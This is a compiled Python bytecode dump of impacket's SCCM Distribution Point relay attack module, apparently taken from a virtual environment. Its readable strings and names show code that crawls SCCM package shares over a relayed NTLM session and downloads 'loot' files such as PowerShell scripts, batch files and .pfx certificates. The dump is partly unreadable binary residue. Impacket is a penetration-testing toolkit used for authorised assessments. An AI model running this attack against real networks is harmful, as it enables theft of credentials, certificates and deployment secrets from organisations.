o
    j                      @   sx   d dl Z d dlZd dlZd dlmZ d dlmZ d dlmZ dddZG dd	 d	eZ	G d
d deZ
G dd dZdS )    N)
HTMLParser)datetime)LOG c                 C   s   t |  }t|D ]F\}}|t|d k}t| | tr@|| |r%dnd | d | |r3dnd }t| | || q
|| |rHdnd | d q
d S )N   u
   └── u
   ├── z/
z    u   │   
)listkeys	enumeratelen
isinstancedictwrite
print_tree)doutprefixr	   ikeyis_last
new_prefix r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmdpattack.pyr      s    "r   c                       s$   e Zd Z fddZdd Z  ZS )PackageIDsRetrieverc                    s   t    t | _d S N)super__init__setpackage_idsself	__class__r   r   r   '   s   
zPackageIDsRetriever.__init__c                 C   sZ   |dkr)|D ]$}|d dkr(|d }| d}|d  }|ds(| j| qd S d S )Nar   hrefr   /z.INI)splitstripendswithr   add)r    tagattrsattrr$   parts	last_partr   r   r   handle_starttag+   s   

z#PackageIDsRetriever.handle_starttag)__name__
__module____qualname__r   r0   __classcell__r   r   r!   r   r   &   s    r   c                       s,   e Zd Z fddZdd Zdd Z  ZS )FilesAndDirsRetrieverc                    s   t    g | _d| _d S )Nr   )r   r   linksprevious_datar   r!   r   r   r   6   s   

zFilesAndDirsRetriever.__init__c                 C   s>   || _ |dkrt|d}|r| j|| jf d S d S d S )Nr#   r$   )current_tagr   getr6   appendr7   )r    r+   r,   r$   r   r   r   r0   ;   s   z%FilesAndDirsRetriever.handle_starttagc                 C   s   |  | _d S r   )r(   r7   )r    datar   r   r   handle_dataB   s   z!FilesAndDirsRetriever.handle_data)r1   r2   r3   r   r0   r<   r4   r   r   r!   r   r5   5   s    r5   c                   @   sP   e Zd ZdZddiZdd Zdd Zdd	 Zd
d Zdd Z	dd Z
dd ZdS )SCCMDPAttack   z
User-AgentzSMS CCM 5.0 TSc              
   C   s  t d | jjdkrdnd d| jj | _| jj dt d d| _	| j
jd kr4g d	| j
_n| j
j s?g | j
_nd
d | j
jdD | j
_ztj| j	dd t d| j	  W n ty{ } zt d|  W Y d }~d S d }~ww | j
jd u rzt d t | _|   W n ty } zt d|  W Y d }~d S d }~ww zt d |   t d W n ty } zt d|  W Y d }~d S d }~ww t d| j	  d S )NzStarting SCCM DP attacki  httpshttpz://_z%Y%m%d%H%M%S_sccm_dp_loot)z.ps1z.batz.xmlz.txtz.pfxc                 S   s   g | ]}|  qS r   )r(   ).0xr   r   r   
<listcomp>W   s    z%SCCMDPAttack._run.<locals>.<listcomp>,Texist_okzLoot directory is: z&Error creating base output directory: z#Retrieving package IDs from DatalibzCEncountered an error while indexing files from Distribution Point: zPerforming file downloadzFile download performedz5Encountered an error while downloading target files: z-DONE - attack finished. Check loot directory )r   infoclientporthostdistribution_pointr   nowstrftimeloot_dirconfigSCCMDPExtensionsr(   r'   osmakedirs	ExceptionerrorSCCMDPFilesdebugr   r   fetch_package_ids_from_datalibdownload_target_files)r    errer   r   r   _runM   sH   
$ 


zSCCMDPAttack._runc                 C   s^   g }t |tr-| D ]!\}}|d u r"|t| jjr"|| q|| 	||  q|S r   )
r   r   itemsr)   tuplerQ   rR   r:   extendrecursive_file_extract)r    r;   to_downloadr   valuer   r   r   ra   x   s   
z#SCCMDPAttack.recursive_file_extractc           
      C   s
  |D ]}z^t j|}d|jddd  }|jdd }| jjd|| jd | j	 
 }| j d| d| }t|d}|| W d    n1 sQw   Y  td	| d
|  W q ty }	 ztd|  t|	  W Y d }	~	qd }	~	ww d S )N__r%         GETheaders
/packages/wbzPackage z - downloaded file z/[!] Error when downloading the following file: )urllibparseurlparsejoinpathr'   rJ   requestDP_DOWNLOAD_HEADERSgetresponsereadrP   openr   r   rI   rU   rV   )
r    filesfile
parsed_urlfilenamepackageroutput_filefr\   r   r   r   download_files   s$   zSCCMDPAttack.download_filesc                 C   s   | j jd urot| j jd}|  }W d    n1 sw   Y  t }g }|D ]+}z|tj	|j
dd  | d urG|| W q*   td|  Y q*|D ]}tj| j d| dd qX| | d S |   d S )Nr{   r%   rf   z!(Skipping) URL has wrong format: rj   TrG   )rQ   rW   ru   rt   
splitlinesr   r*   rl   rm   rn   rp   r'   r(   r:   r   rV   rS   rT   rP   r~   handle_packages)r    r}   contentsr   rb   rw   
package_idr   r   r   rZ      s$   z"SCCMDPAttack.download_target_filesc                 C   s  t | j ddr}t| jD ]d\}}|i i}| || | j d| d t|| | || }t|dkrMt	
d| d|d  dt| j d	 qtj| j d
| dd | | t	
d| d|d  dt| j d	 qW d    n1 s~w   Y  t	d d S )Nz
/index.txtr#   z/sms_dp_smspkg$/r   zHandled package z (r   r%   )rj   TrG   z[+] Package handling complete)ru   rP   r
   r   !recursive_package_directory_fetchrM   r   ra   r   r   rX   rS   rT   r~   rI   )r    r}   r   r   package_indexrb   r   r   r   r      s   
(
*zSCCMDPAttack.handle_packagesc           	      C   s   |d7 }| j jd|| jd | j   }t }||  g }|jD ]/}d|d v rL|| j	krEi ||d < | 
||d  |d | q$d||d < q$||d  q$|D ]}d ||< qVd S )Nr   rg   rh   z<dir>r   zMaximum recursion depth reached)rJ   rq   rr   rs   rt   r5   feeddecoder6   max_recursion_depthr   r:   )	r    object	directorydepthr{   parserrv   r$   rw   r   r   r   r      s    


z.SCCMDPAttack.recursive_package_directory_fetchc                 C   sn   | j jd| j d| jd | j   }t }||  |j	| _	t
dt| j	 d t
| j	 d S )Nrg   z/sms_dp_smspkg$/Datalibrh   zFound z	 packages)rJ   rq   rM   rr   rs   rt   r   r   r   r   r   rI   r   rX   )r    r{   packageIDs_parserr   r   r   rY      s   z+SCCMDPAttack.fetch_package_ids_from_datalibN)r1   r2   r3   r   rr   r]   ra   r~   rZ   r   r   rY   r   r   r   r   r=   G   s    +r=   )r   )rS   jsonrl   html.parserr   r   impacketr   r   r   r5   r=   r   r   r   r   <module>   s   
